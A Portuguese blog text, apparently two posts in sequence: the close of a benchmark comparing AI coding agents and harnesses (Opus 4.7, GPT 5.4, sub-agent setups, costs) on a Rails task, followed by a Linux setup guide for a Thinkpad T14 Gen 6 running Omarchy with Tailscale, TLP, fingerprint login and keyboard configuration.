No benchmark da semana passada, GPT 5.4 via Codex com xHigh tinha rodado uma vez só, com resultado Tier 2 (primeira mensagem funciona, multi-turn quebra por causa de chat.add_message(role:, content:) com keyword args em vez de hash posicional).

Esta semana rodei mais dois, com configurações de sub-agente diferentes (que não foram usadas, mas a presença altera o comportamento do principal, como mostrei acima):

O mesmo modelo, mesmo prompt, três runs. Um deles escreveu chat.add_message(message) com hash posicional (Tier 1, funciona em multi-turn). Os outros dois escreveram com keyword args (Tier 2, quebra na segunda mensagem).

Nenhum sub-agente foi chamado nos multi variants. A única coisa que mudou entre os três runs foi o texto da descrição do sub-agente disponível (ou ausência dele). E mesmo assim, aquele GPT 5.4 “acertou” a API numa run e “errou” nas outras duas.

Claude Opus 4.7: seis runs

Com o Opus foi ainda mais instrutivo. Seis runs diferentes, o mesmo modelo, o mesmo prompt, resultados espalhados entre Tier 1 e Tier 3:

As três runs de Opus no opencode: Tier 1 consistente. API correta do RubyLLM, funciona em multi-turn, código limpo.

As três runs de Opus no Claude Code: uma Tier 2 e duas Tier 3. Código que alucinou chat.complete (método que não existe) ou errou a assinatura do add_message.

Mesmo modelo. Mesmo prompt. Harness diferente = resultado diferente.

O que isso significa

Duas leituras possíveis:

A leitura preguiçosa: “Opus 4.7 no Claude Code regrediu, trocar pro 4.6” ou “opencode é melhor que Claude Code”. Ambas seriam conclusões erradas de um benchmark tão pequeno.

A leitura honesta: benchmark de um run só, ou mesmo três runs, não é suficiente pra afirmar nada sobre qualidade absoluta de um modelo. A variância é grande, o contexto carregado pelo harness (CLAUDE.md, tool schemas, agent registries) mexe com o “mental model” que o modelo ativa, e o resultado pode oscilar entre tiers.

No benchmark anterior, eu tive a sorte (ou o azar) de ter runs consistentes o bastante pra as hierarquias do tipo “Claude/GLM funcionam, Kimi/DeepSeek/Qwen inventam API” se manterem. Mas mesmo lá, a variância de um run só pra outro é real. Se eu rodar o Kimi K2.5 dez vezes, talvez dois ou três desses runs tenham acertado a API. Não testei isso, mas é plausível.

Esse benchmark reforça o ponto: os rankings do artigo anterior valem como sinal, não como prova. “Funciona de primeira 80% das vezes” é diferente de “sempre funciona”. Pra uso em produção, você quer modelo que é robusto à variância, que não tem 20% de chance de voltar alucinação. Hoje, os únicos modelos que me atendem esse critério são Claude Opus e Claude Sonnet, em qualquer harness. GLM 5.1 chega perto mas ainda não tenho sample grande.

Quer dizer que Opus 4.7 “piorou”? Não. Quer dizer que Claude Code “é pior que opencode”? Não. Quer dizer que benchmark de run único sobre greenfield Rails não capta variância de modelo. É importante saber disso antes de tirar conclusões fortes.

Tempo de execução: multi-model é mais lento?

Vale medir uma pergunta adjacente: se o sub-agente nunca rodou, os runs multi-model foram mais lentos que os baselines sozinhos? Minha intuição inicial era que sim, já que sem paralelismo entre sessões o modelo principal faz o trabalho todo serialmente. O dado conta outra história.

Alguns multi-model foram mais rápidos que o baseline sozinho. opencode com GLM 5.1 foi quase metade do tempo do opencode sozinho (10m vs 18m). Claude Code com Sonnet foi 1 minuto mais rápido que Opus puro. Codex multi-agent variants ficaram um pouco mais rápidos que xHigh sozinho.

Outros foram mais lentos: Claude Code com Haiku levou 15m (4m a mais que baseline). opencode com Qwen 3.6 ficou em 19m (igual baseline, provavelmente penalizado por overhead do llama-swap mesmo sem invocar o modelo).

Não tem padrão consistente de “multi-model é sempre mais lento” ou “sempre mais rápido”. O que aconteceu, olhando os tool calls e contagem de testes, é mais interessante: o modelo principal muda o próprio comportamento quando vê que tem sub-agente disponível, mesmo sem chamar ele.

• Claude Code Opus sozinho: 24 testes, 11m
• Claude Code Opus + Sonnet: 18 testes, 10m (menos testes, mais rápido)
• Claude Code Opus + Haiku: 34 testes, 15m (mais testes, mais lento)

O padrão: quando o sub-agente existe na descrição como “executor”, o modelo principal às vezes produz output mais enxuto, como se estivesse “deixando trabalho pra depois”. Quando o sub-agente descreve execução mais cara (Haiku como “high-volume execution”), o modelo parece assumir que pode se dar ao luxo de escrever mais testes porque “o executor barato vai cuidar”. Em nenhum caso o executor é chamado. Mas a presença do sub-agente influencia o planejamento do modelo principal.

É um efeito sutil, tipo placebo de delegação. O modelo não delega, mas comporta como se fosse delegar. Isso pode ser bom (output mais focado) ou ruim (cobertura de teste menor que o baseline). Não é algo que você controla, é comportamento emergente do modelo lendo a descrição do sub-agente.

Então vale configurar Haiku só pro efeito placebo?

Dá pra ser tentado a pensar: “se Opus escreveu mais código e mais testes com Haiku configurado, então vale a pena configurar Haiku como sub-agente mesmo que ele nunca rode, só pelo placebo”. Os números dizem que não.

Comparando Opus sozinho vs Opus com Haiku configurado, ambos no Claude Code:

Com Haiku configurado, Opus gastou 3.7 minutos a mais, $1.09 a mais, e escreveu 10 testes a mais. O tier de qualidade ficou igual. A mesma alucinação de chat.complete apareceu nos dois runs. Os 10 testes extras mockam a mesma API alucinada, então não provam nada que os 24 originais já não provavam. Mais código, não código melhor.

Placebo de delegação pode mover quantidade, mas não corrige erro factual. E com sample de 1 run cada, nem o aumento de quantidade é confiável, porque variância entre runs de Opus sozinho também é alta (provavelmente um outro run de Opus sozinho ia dar 30+ testes por acaso).

Conclusão prática: não configure sub-agente “de mentira” só pra tentar manipular o modelo principal. O custo em tokens/tempo é certo, o benefício é especulativo. Opus sozinho, sem sub-agente, continua sendo a configuração default recomendada. Sub-agentes só valem se você tem caso de uso real com delegação que funcione (e vimos aqui que greenfield não é esse caso).

Hipótese “multi-model é mais lento” não se sustenta

De toda forma, voltando à pergunta original: não, não dá pra dizer que multi-model sem delegação é consistentemente mais lento. Às vezes é, às vezes é mais rápido, depende do modelo e da descrição do sub-agente. O que dá pra dizer é que a presença do sub-agente muda o comportamento do principal de forma imprevisível, e isso por si só é argumento contra configurações multi-model sem necessidade clara.

Duas descobertas inesperadas

Fora do assunto principal (multi-model não funcionou), dois padrões apareceram.

Primeira: o harness influencia a qualidade do código, não só o custo

O mesmo Opus 4.7 produziu Tier 1 no opencode e Tier 2/Tier 3 no Claude Code, no mesmo prompt. Isso é novo. Até onde eu sei, é a primeira evidência em benchmark de que o harness (a CLI que envelopa o modelo) pode degradar correção factual, não só custo.

A hipótese é que Claude Code carrega 6-11 milhões de tokens de cache por run (CLAUDE.md, schemas de tools, registro de agentes, etc.), contra ~210 mil do opencode. Esse volume de contexto parece puxar o Opus na direção de um “mental model” genérico de SDK OpenAI, onde chat.complete faz sentido, em vez do mental model específico do gem RubyLLM. É especulação, não consigo provar. Mas a diferença de Tier entre os dois harnesses rodando o mesmo modelo é concreta.

Isso não significa que opencode é melhor que Claude Code pra uso diário. No meu dia a dia, Claude Code com Opus é superior ao opencode em quase tudo: integração com editor, gestão de contexto em sessões longas, tool support nativo, qualidade de planejamento multi-step. O benchmark tem um recorte estreito (greenfield Rails app, prompt bem específico, sem iteração humana) que não reflete o uso real.

O que o dado diz é: a variância entre harnesses é real e mensurável. Vale ter em mente quando você tá avaliando um modelo.

Segunda: custo de Claude Code vs opencode

Rodando o mesmo Opus 4.7 no mesmo prompt:

• Claude Code: $5 a $8 por run
• opencode: $1.10 por run

Claude Code custa 5 a 7 vezes mais por run no mesmo modelo. A diferença é o cache-read: Claude Code carrega 6-11M tokens de contexto por run, opencode carrega ~210K. Tem razão técnica legítima (tool schemas, TodoWrite, agent registries, CLAUDE.md, integração com editor), mas o overhead é real e aparece direto na conta de quem paga por token.

Aqui cabe uma orientação mais refinada, porque isso muda o cálculo dependendo do seu modelo de consumo.

Se você tem Pro ou Max: use Claude Code. Ponto. Assinatura cobre os tokens, você ganha o conjunto completo de features (tool support nativo, skills, agentes, Plan mode, contexto melhor em sessão longa). Não tem motivo pra trocar.

Se você paga por token direto via API, o cálculo muda com o volume.

Pra uso leve (algumas centenas de dólares por mês): opencode com Opus é mais barato e, nesse benchmark específico, chegou em Tier 1 enquanto Claude Code ficou em Tier 2/3. Funciona bem pra pipeline automatizado, CI, benchmark, agente server-side.

Pra uso pesado (milhares de dólares por mês no API): não faz sentido ficar no per-token. A assinatura Max 20x por $200/mês cobre volume grande e inclui Claude Code. Pra vibe-coder pesado, Max sai mais barato que Opus no API por uma margem ampla. Aí você volta pro primeiro bucket, com Claude Code.

Opencode é melhor, independente de custo, pra:

• Uso headless ou automatizado (CI, benchmarks, agentes em servidor)
• Setup multi-provider onde você quer o mesmo harness batendo em OpenRouter, Z.ai, llama-swap local
• Quando você precisa de output em JSON estruturado (--format json)
• Comparativos neutros entre modelos

Claude Code é melhor, independente de custo, pra:

• Sessões de coding interativas com humano no loop
• Projetos com CLAUDE.md, skills, MCP custom
• Trabalho onde Plan mode do Opus faz diferença
• Sessões longas iterativas onde contexto acumulado ajuda

A leitura honesta: esse benchmark mede um cenário estreito (greenfield, one-shot, sem humano iterando). Pra trabalho de verdade do dia a dia, Claude Code com Max continua sendo a recomendação pra 99% das pessoas. O ganho de custo do opencode aparece num nicho específico (pipeline automatizado ou uso API abaixo do break-even do Max). A maioria não tá nesse nicho.

O mito do “Opus planeja, Qwen executa”

Volta e meia aparece gente no Twitter falando que monta pipeline onde Opus faz o plano técnico detalhado, e um modelo menor (Qwen, GLM 5, Haiku, Sonnet) executa. “Economia de tokens, mesma qualidade, todo mundo ganha”.

Não funciona. Ou melhor, funciona pra demo, não funciona pra projeto real.

O problema mais grave é que o plano nunca é perfeito de primeira. Código nunca é one-shot. Você implementa, descobre um problema, ajusta. Com um modelo grande só, esse ajuste é feito pelo próprio modelo em tempo real. Com dois modelos, cada ajuste precisa voltar pro planner, ser reprocessado, novo plano escrito, novo executor invocado. O loop é mais lento.

Depois tem a questão do conhecimento factual de API. Se o plano do Opus diz “use RubyLLM pra chamar OpenRouter”, o Opus sabe que é RubyLLM.chat(model:).ask(msg).content. O Qwen menor lê o plano e implementa com a API que ele acha que existe, que pode ser RubyLLM::Client.new.complete. O plano não corrige isso porque o plano não contém o conhecimento factual do gem. Só o próprio modelo que sabe aquela API sabe implementar corretamente.

E tem o custo de coordenação, que explode com iteração. Cada round de “plano → executa → falha → re-plano → executa de novo” custa mais tokens que simplesmente deixar o modelo grande fazer tudo em uma sessão. Você paga em tokens de planejamento E em tokens de código errado que precisa ser reescrito.

Em teoria, multi-model faz sentido. Na prática, é trabalho pra mostrar em thread do Twitter com animação bonita, não workflow de quem entrega código.

Quando multi-model pode fazer sentido

Não quero parecer absolutista. Tem cenários onde multi-model é a escolha certa.

O principal é tarefas genuinamente paralelas e desacopladas. Migração de API em 30 arquivos idênticos, por exemplo: cada arquivo segue o mesmo pattern, não tem dependência entre eles. Opus poderia supervisionar 20 sub-agentes fazendo a mesma transformação em 20 arquivos diferentes. Nesse caso, o custo de coordenação é amortizado pelo paralelismo.

Outro caso é tarefas que têm fase de pesquisa pesada seguida de fase de implementação direta. Opus faz o spike arquitetural com exploração de código legado, depois delega a implementação mecânica pro modelo menor.

Um exemplo real que passei semana passada: traduzi 700+ posts e todas as legendas de vídeo do blog pra inglês usando Claude Code. Esgotei o Max 20x e estourei mais $1120 de uso extra no mês. Tradução é exatamente o tipo de tarefa que teria se beneficiado de multi-model: cada post é independente do outro, não tem dependência cross-file, o planejamento arquitetural é nenhum, só tradução em lote. Opus orquestrando + Sonnet executando a tradução de cada arquivo teria cortado o custo pela metade, fácil. Não me ocorreu na hora, rodei tudo no Opus. A lição que tiro é: pra tarefa genuinamente paralela, multi-model com Sonnet como executor faz sentido, e eu perdi uma oportunidade clara de economizar.

Mas nenhum dos casos acima é “greenfield Rails app”. Aplicação nova do zero é o pior cenário pra multi-model porque cada parte depende de todas as outras partes. Os modelos não são estúpidos, eles reconhecem isso e recusam a delegação.

A regra de bolso segue a mesma

Pra 90% do trabalho de programação do dia a dia, minha recomendação continua:

• Claude Code + Opus (4.6 ou 4.7)
• Se custo for crítico e você tá ok com plugar em OpenRouter, GLM 5.1 é o segundo lugar confortável
• Se você tem GPU boa (5090 ou equivalente), Qwen 3.6 35B local é aceitável pra tarefas simples, com caveats

Multi-model? Só pra casos específicos onde o paralelismo é genuíno. Pra projeto normal, é overhead desnecessário.

Benchmarks não são verdade absoluta

Esse benchmark mede uma coisa específica: greenfield Rails app, prompt bem determinado, sem iteração humana, em runners automatizados. É uma fatia estreita do uso real.

Se você quer saber qual combinação funciona pro SEU workflow, pros SEUS tipos de projeto, pras SUAS expectativas de qualidade, não confie no meu benchmark. Rode o seu. O código tá todo no GitHub, o harness é extensível, você troca o prompt e já tem seu próprio comparativo.

O que eu espero que esse trabalho contribua é metodologia, não resposta definitiva. “Claude é melhor que Qwen” depende do que você tá fazendo. “Multi-model não funciona” depende do tipo de tarefa. Benchmark serve pra restringir o espaço de especulação com dado concreto, não pra fechar a discussão.

Enquanto isso, se alguém te disser que combinou Claude + GLM e ficou mágico, pede o código, pede o prompt, pede o repo. Na maioria das vezes a pessoa mediu uma coisa bem diferente, ou tem uma tarefa bem específica onde essa combinação cabe. Não generalize a partir de tweet.

Comprei um Lenovo Thinkpad T14 Gen 6 e instalei Omarchy em cima. Não é minha máquina principal, nem pretende ser. É companion: um notebook pra abrir em cima da mesa do escritório de impressão 3D, dar um SSH no desktop, chamar Claude Code, acessar arquivos no NAS, debugar rede pelo ethernet sem ficar procurando adaptador USB e cabo longo. Esse artigo cobre a escolha do hardware, o setup de Omarchy em cima, as customizações específicas pra notebook e pra esse Thinkpad em particular, e as decisões de arquitetura que podem não ser óbvias.

Mini-review do Thinkpad T14 Gen 6

Vamos tirar do caminho: esse não é o notebook dos sonhos. Se eu fosse escolher por estética, pegaria um Asus Zenbook S 14 com tela OLED. Se fosse por portabilidade, o Thinkpad T14s com casca de alumínio, que é mais leve e muito mais bonito. O T14 regular tem tela IPS 1920x1200 de 14", 400 nits, 60Hz, sem HDR. Dá pro gasto, mas está longe da tela do Zenbook. A casca é de plástico com um acabamento emborrachado, o que deixa ele resistente a arranhão, mas não é premium. Revisões da NotebookCheck e da XDA Developers batem na mesma tecla: bom custo, boa conectividade, desempenho adequado pra escritório, mas a tela é datada.

O que compensa:

• Seleção de portas. HDMI full-size. Ethernet gigabit. USB-A, USB-C Thunderbolt 4, carrega pelo USB-C (não é carregador proprietário). Pra um companion de debug, isso é exatamente o que eu queria. O Zenbook S 14, por ser mais fino, corta portas.
• Sensor de digital funcional no Linux (Goodix MOC, funciona com libfprint em kernel 6.11+). Isso eu uso, detalho mais à frente.
• Teclado Thinkpad. Curso de tecla de 1.5mm, trackpoint, layout clássico. Não é o melhor teclado do mundo em 2026, mas é confiável e durável.
• Carcaça rugged. Vai cair, vai arranhar, vai viajar na mala. Se eu colocasse um Zenbook OLED ou um Macbook Pro em cima da mesa do escritório de impressão 3D, ao lado da impressora, com poeira de PLA voando, eu ficaria nervoso. O Thinkpad pode levar porrada.

Se eu quisesse máquina de jogo, pegaria um Asus Zephyrus G14, meu favorito de notebook gamer. Se eu quisesse máquina de trabalho criativo, pegaria o Asus Zenbook Duo (UX8406) com duas telas OLED verticais, ótimo pra edição de vídeo e modelagem 3D. Tenho grana pra qualquer Macbook Pro ou Mac Studio, e escolhi não ir por esse caminho. Explico melhor na próxima seção.

Meu caso de uso

Meu PC principal é um desktop com Ryzen 9 7950X3D, 96 GB de RAM, RTX 5090 de 32 GB. É onde eu trabalho, experimento com modelos locais, rodo containers, edito o blog. Pra jogo, tenho um mini-PC separado com RTX 4090. Esses dois atendem 100% do que eu preciso fazer em casa.

O notebook existe pra cobrir o 1% restante: sentar no sofá, levar no escritório de impressão 3D, levar na cozinha, levar em viagem curta. Não é pra substituir o desktop. É pra ter acesso remoto ao desktop quando eu estiver longe dele.

Na prática fica assim: abro o notebook, dou split no Hyprland, janela da esquerda dá SSH no desktop principal, janela da direita é o próprio notebook. Mesmo Omarchy nos dois, mesmos atalhos, mesmo bash. O notebook vira extensão do desktop, não um ambiente paralelo que eu tenho que reconfigurar na cabeça toda vez que alterno.

SSH fora de casa: Tailscale

Dentro da rede local, SSH é trivial, o notebook fala com o desktop via IP interno. Fora de casa é outra história. Meu IP doméstico é dinâmico, abrir porta 22 pra internet é péssima ideia, e mesmo com DDNS e port forwarding você está colocando SSH na cara da internet pra qualquer scanner achar.

A solução que uso é Tailscale. Pra quem não conhece: Tailscale é uma mesh VPN baseada no WireGuard, que cria uma rede privada entre seus dispositivos (o “tailnet”). Cada máquina roda o agente, autentica uma vez, e passa a ter um IP fixo na rede privada (tipo 100.x.y.z). O tráfego entre seus próprios dispositivos vai direto peer-to-peer, cifrado pelo WireGuard. Não passa por servidor central da Tailscale, eles só coordenam NAT traversal. Resultado: do meu notebook num café em qualquer lugar do mundo, eu dou ssh hal9000 e caio no desktop de casa como se estivesse na mesma rede.

Existem opções mais sofisticadas: Cloudflare Tunnel com Zero Trust pra expor serviços publicamente com autenticação SSO, headscale self-hosted, WireGuard cru com config manual, Nebula, OpenVPN. Cada uma tem seu caso de uso. Se você precisa expor serviços pra terceiros, controlar acesso granular por identidade, rodar a infraestrutura inteira em casa sem depender de terceiros, essas opções ganham. No meu caso, é só notebook falando com desktop, por períodos curtos (não é trabalho de uma semana inteira, é debug rápido de fim de semana), então Tailscale grátis resolve. O tier free aceita até 100 dispositivos e 3 usuários, muito mais do que eu preciso.

Setup é o mais simples possível:

# No Arch/Omarchy
sudo pacman -S tailscale
sudo systemctl enable --now tailscaled.service
sudo tailscale up --ssh

A flag --ssh ativa o Tailscale SSH, que faz autenticação via identidade da tailnet em vez de chave SSH local. Uma vez fez login via browser no tailscale, cada máquina registrada pode entrar nas outras com base em política de ACL definida no painel admin. Zero key management.

Repito no desktop, faço login com a mesma conta, e pronto. As duas máquinas aparecem no painel (hal9000 e hal9666 na screenshot acima, com SSH habilitado nas duas). Do notebook: ssh hal9000. Do desktop pro notebook: ssh hal9666. Sem port forward, sem IP público, sem expor porta 22 pra internet. Se o notebook for roubado, eu removo ele do tailnet num clique.

Um detalhe prático: como o tailnet dá nome estável, eu adicionei entradas no ~/.ssh/config pra usar esses nomes curtos:

Host hal9000
  HostName hal9000
  User akitaonrails

Assim ssh hal9000 funciona de qualquer lugar que tenha Tailscale conectado. É a solução mais próxima de “it just works” que já vi pra SSH remoto.

Por que não um Mac

Eu não tenho uso pro macOS. Como dev, eu vivo melhor em Linux nativo. Toda ferramenta que eu preciso tem versão Linux de primeira, e no macOS eu teria versão de segunda via Homebrew. Não faço iOS, então não preciso do XCode. Pra mobile uso Flutter ou Hotwire Native, que rodam em qualquer OS. iTerm2 e Ghostty no Mac são bons, mas Alacritty, Kitty e o próprio Ghostty no Linux me atendem igual. Todo software bom chega primeiro no Linux, daí é portado pros outros. Arch com AUR cobre tudo num único yay.

Pra trabalho criativo, faz anos que não faço profissionalmente. DaVinci Resolve Studio no Linux é superior ao Final Cut Pro. Krita ou Affinity Photo substituem Photoshop na maioria dos casos. Clip Studio Paint no Android é superior ao Procreate. Eu simplesmente não tenho um workflow que depende da Apple, e a App Store me irrita.

Pra jogo, Mac é terrível. Apple Silicon tem GPU boa pra algumas coisas, mas a biblioteca de jogo pro macOS nativo é pífia comparada com Windows ou Linux. Game Porting Toolkit existe, CrossOver existe, mas pra quem joga sério, não serve. Eu não vou jogar no Thinkpad, pra isso tenho o desktop principal e o mini-PC com RTX 4090, mas se um dia bater vontade de rodar um Hollow Knight ou um indie num trem, é só instalar Steam e deixar o Proton fazer o trabalho. Linux virou plataforma de jogo de verdade nos últimos anos, com Proton/DXVK rodando quase todo o catálogo da Steam (checa ProtonDB). Inclusive documentei recentemente como rodei minha biblioteca de emulação em distrobox sem poluir o sistema host. Com Mac, essas opções não existem.

Outro argumento que sempre aparece: “mas um Mac Mini M4 ou Mac Studio com 128GB de memória unificada roda modelos grandes localmente, é o substituto do ChatGPT”. Já testei essa tese e escrevi um benchmark detalhado. A conclusão: hardware local caro pra rodar LLM é hobby de fim de semana, não é ferramenta de produção. Os modelos open source que cabem não entregam a qualidade que o Claude Opus entrega. Eu tenho um home server com AMD Strix Halo e 96 GB de RAM unificada, rodei modelos por dezenas de horas, e no meu fluxo real de programação eles servem pra tarefas simples. Pras tarefas complexas, Claude Opus. Antes de gastar os $4000 num Mac Studio com a justificativa de rodar modelos locais, faça o teste de verdade. Você provavelmente vai voltar a pagar Opus depois.

Por que Omarchy

Eu uso Omarchy no desktop há meses e documentei o caminho numa série de artigos. O Omarchy 2.0 tem instalador próprio com LUKS, Btrfs, Limine, snapper e SDDM já configurados. Escrevi sobre usar a ISO oficial, sobre as customizações de ZSH com atuin, starship, secrets bem organizados, sobre Mise pra múltiplas linguagens, sobre LazyVim e LazyExtras, sobre SSH e Yubikeys, sobre TUIs modernas. Também tem o Omarchy 3 com dual GPU AMD + NVIDIA e o Crush como agente de coding.

Pra quem não conhece: Omarchy é Arch Linux puro com uma camada de cosmética em cima do Hyprland/Wayland. Pré-configurado com defaults sãos. Eu podia montar tudo isso do zero, já fiz isso várias vezes na vida, mas por que refazer trabalho que alguém já fez bem feito? Instalo Omarchy, faço os tweaks que são meus em cima, e tenho Arch customizado numa fração do tempo.

Um ponto que eu levanto toda vez que recomendo Omarchy: a documentação é excelente. Tem um manual oficial que cobre desde instalação até customização de tema, keybindings, Hyprland, Waybar, tudo. Se você vem de Ubuntu ou Fedora e tem receio de Arch, esse manual resolve o grosso das dúvidas. Pra quem nunca tocou em Hyprland, abre ele e vai tangenciando. Não é um README jogado no GitHub, é manual de verdade, com capítulos e índice.

A história desse artigo começa num fio anterior. Eu migrei meu home server recentemente, trocando um servidor Ubuntu antigo por um Minisforum MS-S1 com openSUSE MicroOS configurado com Claude Code. Esse foi o primeiro experimento sério de deixar o Claude Code guiar uma migração de infra inteira, com containers, NFS, serviços, networking. Deu certo. E deixou no ar a ideia: por que não usar a mesma abordagem pra configurar um notebook novo?

Foi o que fiz. Peguei o Thinkpad, baixei a ISO do Omarchy mais recente, gravei num pendrive, instalei por cima do Windows. Do zero ao desktop funcional, menos de uma hora. Dali pra frente, tudo é tweaking, que eu fui documentando conforme fazia.

Vou detalhar as duas camadas de customização: o que precisa pra um notebook qualquer, e o que é específico desse Thinkpad.

Configs específicos de notebook

Um notebook tem problemas que um desktop não tem: bateria, suspensão, tampa, brilho, trackpad. Essas são as partes que Omarchy default não cobre do jeito que eu quero.

Power management com TLP

O default do Omarchy vem com power-profiles-daemon. Troquei por TLP, que dá controle granular de CPU scaling, thresholds de bateria e perfil dinâmico baseado em AC vs bateria.

sudo pacman -S tlp tlp-rdw
sudo systemctl mask power-profiles-daemon.service
sudo systemctl enable --now tlp.service

O mask é necessário porque o upower traz o power-profiles-daemon de volta se você só der disable.

Thresholds de carga: 60% pra começar, 85% pra parar. O notebook fica a maior parte do tempo plugado na mesa do escritório, e manter a bateria em 100% 24/7 detona a capacidade ao longo do tempo. Com 60/85, a bateria passa a maior parte do tempo na faixa saudável de lítio e ainda sobra capacidade útil decente.

Perfis: balanced com balance_power na bateria, performance no AC. O low-power do TLP era agressivo demais no Core Ultra 5 235U, a resposta de janela e terminal ficava perceptível. Balanced dá a melhor relação consumo/responsividade pra uso normal.

Tem uma pegadinha: tlp auto depois de tlp ac nem sempre reaplica o perfil de bateria. Criei um pequeno script ligado ao Super+Ctrl+P que lê o estado atual e chama tlp bat ou tlp ac explicitamente:

#!/bin/bash
set -euo pipefail

profile=$(cat /sys/firmware/acpi/platform_profile 2>/dev/null || echo unknown)
on_ac=$(cat /sys/class/power_supply/AC*/online 2>/dev/null | head -1 || echo 0)

if [[ "$profile" == "performance" ]]; then
  if [[ "$on_ac" == "1" ]]; then
    sudo /usr/bin/tlp auto >/dev/null
    label="Plugged in — back to AC auto"
  else
    sudo /usr/bin/tlp bat >/dev/null
    label="On battery — normal profile"
  fi
  notify-send -t 2000 "Performance mode: off" "$label" 2>/dev/null || true
else
  sudo /usr/bin/tlp ac >/dev/null
  notify-send -t 2000 "Performance mode: on" "Forcing AC profile" 2>/dev/null || true
fi

No waybar, um módulo custom custom/perf mostra o estado atual (󰓅 PERF, 󰌪 ECO, ou vazio pra balanced) e aceita clique pra alternar. O script de output é bem curto:

#!/bin/bash
p=$(cat /sys/firmware/acpi/platform_profile 2>/dev/null)
case "$p" in
  performance) printf '󰓅 PERF' ;;
  low-power)   printf '󰌪 ECO'  ;;
  balanced|"") printf ''       ;;
  *)           printf '%s' "$p" ;;
esac

Suspend, hibernate, e tampa

Isso aqui é o que mudou em relação aos notebooks que eu usava em 2015. O T14 Gen 6 fecha a tampa, suspende, e acorda quando você abre de novo. Sem bug, sem delay estranho, sem precisar dar login de novo no meio da sessão gráfica. O hyprlock pega depois do suspend, aceita digital ou senha, e volta pro desktop em segundos. Isso é o comportamento que a gente tem na Apple há anos e que no Linux era uma aventura. Em 2026, em hardware moderno com kernel 6.11+, simplesmente funciona.

Mem sleep mode é s2idle (sem deep sleep). Hibernação habilitada via swapfile Btrfs de ~30 GB e resume=/dev/mapper/root resume_offset=... no kernel cmdline do Limine. Raramente uso, mas está lá.

O hypridle tem timeouts agressivos pra notebook:

• 2.5 min → screensaver
• 5 min → lock
• 5.5 min → DPMS off + keyboard backlight off

Depois de trancado, passa mais 5 min e a tela apaga de vez. No unlock, restaura brilho de tela e de teclado pro nível anterior. Essas timings são muito mais curtas que as do desktop (20-40 min lá). A diferença de bateria ao longo do dia é mensurável.

Brilho e backlight de teclado

brightnessctl controla os dois. Fn+Space alterna o backlight do teclado em três níveis. Hypridle salva o nível atual antes de apagar e restaura no retorno. Comando que uso no script:

brightnessctl -sd '*::kbd_backlight' set 0    # salva e desliga
brightnessctl -rd '*::kbd_backlight'          # restaura

Touchpad

No hypr/input.conf:

touchpad {
    natural_scroll = true
    clickfinger_behavior = true
    disable_while_typing = true
    scroll_factor = 0.4
}
gesture = 3, horizontal, workspace

clickfinger_behavior troca o clique de 2 dedos como botão direito (mais confortável que acertar a zona inferior direita). disable_while_typing é palm rejection básico. Três dedos horizontais alternam workspaces, o gesto mais útil no Hyprland.

Configs específicos do Thinkpad

Aqui entra o que é particular desse modelo. Algumas coisas o Linux moderno já cobre sozinho, outras exigem configuração específica.

Sensor de digital

Goodix MOC 27c6:6594, funciona com libfprint 1.94.9+ em kernel 6.11+. Pacote é fprintd.

sudo pacman -S fprintd
fprintd-enroll                        # dedo indicador direito por default
fprintd-enroll -f left-index-finger   # outro dedo

Pro sudo aceitar digital, adiciono auth sufficient pam_fprintd.so acima da linha do pam_unix.so em /etc/pam.d/sudo. Com sufficient, se a digital passar, autentica direto. Se falhar ou se eu digitar ESC, cai pro prompt de senha. Isso vale a pena de verdade: dezenas de vezes por dia, sudo pacman -Syu ou sudo systemctl restart algo, e é só encostar o dedo.

No hyprlock, uso a configuração nativa do próprio hyprlock, não o PAM:

auth {
    fingerprint {
        enabled = true
        ready_message = Scan fingerprint or type password
        present_message = Scanning...
        retry_delay = 250
    }
}

A razão é que o caminho PAM dá prompt duplo. Configurado nativo, o hyprlock aceita digital ou senha, o que vier primeiro desbloqueia.

No SDDM (login inicial), deixei senha apenas. O motivo: a senha de login destrava o keyring do GNOME, e a digital não consegue fornecer plaintext pra isso. Depois que o keyring está destrancado, o hyprlock pode usar digital sem problema.

Na prática, o sudo fica assim. Encosta o dedo, autentica, segue.

Teclado brasileiro do Thinkpad

O teclado brasileiro do Thinkpad tem uma peculiaridade chata. A tecla /? fica na posição que seria o Ctrl direito (keycode 97), não na posição AB11 tradicional do ABNT2 (keycode 89). Se você usar o layout padrão br(abnt2), essa tecla fica inacessível. Literalmente não imprime nada.

A solução é o variant br(thinkpad) que existe em /usr/share/X11/xkb/symbols/br:

xkb_symbols "thinkpad" {
    include "br(abnt2)"
    name[Group1]="Portuguese (Brazil, IBM/Lenovo ThinkPad)";
    key <RCTL> { [ slash, question, degree, questiondown ] };
};

No hypr/input.conf:

kb_layout = br
kb_variant = thinkpad
kb_model = thinkpad60

E system-wide pra TTY/X11:

sudo localectl set-keymap br-abnt2
sudo localectl set-x11-keymap br thinkpad thinkpad60

Escrevi um pequeno Python que lê scancodes brutos de /dev/input/event* pra diagnosticar essas esquisitices. Útil quando uma tecla decide não funcionar e você precisa descobrir se é hardware, kernel, ou xkb.

Input method: fcitx5

Junto com o layout eu instalo fcitx5. Input method, pra quem não conhece, é a camada que transforma sequência de teclas em caracteres. É onde entram deadkeys (til pra nasalizar, acento agudo, circunflexo), composição de caracteres que não estão no teclado (ç, Ç, letras acentuadas em maiúscula), suporte a emoji. Em app Qt ou GTK, o input method também cuida dos menus de contexto pra cedilha e acentos.

Pacotes:

sudo pacman -S --needed fcitx5 fcitx5-configtool fcitx5-gtk fcitx5-qt

E as variáveis de ambiente pros toolkits encontrarem o fcitx5. Criei ~/.config/environment.d/fcitx.conf:

INPUT_METHOD=fcitx
QT_IM_MODULE=fcitx
XMODIFIERS=@im=fcitx
SDL_IM_MODULE=fcitx

O environment.d do systemd é carregado antes das sessões gráficas, então Brave, Alacritty, VS Code e qualquer GTK/Qt pegam automaticamente. Habilito autostart no Hyprland:

exec-once = fcitx5 -d

Digitando ~a vira ã, 'e vira é, ç funciona como deveria em toda aplicação. Num teclado Thinkpad brasileiro, isso é a diferença entre conseguir escrever em português com naturalidade ou ficar catando letra.

Áudio SOF

Codec Realtek ALC3306/ALC287 via Sound Open Firmware. Sem o sof-firmware, o módulo de kernel carrega mas o DSP nunca boota e o PipeWire cai silenciosamente pra auto_null. Resultado: você acha que o alto-falante está no mudo, mas na verdade o PipeWire não tem device nenhum.

sudo pacman -S --needed sof-firmware alsa-ucm-conf pipewire pipewire-pulse wireplumber

Se precisar forçar SOF em vez do HDA legacy:

echo "options snd-intel-dspcfg dsp_driver=3" | sudo tee /etc/modprobe.d/alsa.conf

Reload sem reboot:

sudo modprobe -r snd_sof_pci_intel_mtl
sudo modprobe snd_sof_pci_intel_mtl
systemctl --user restart wireplumber pipewire pipewire-pulse

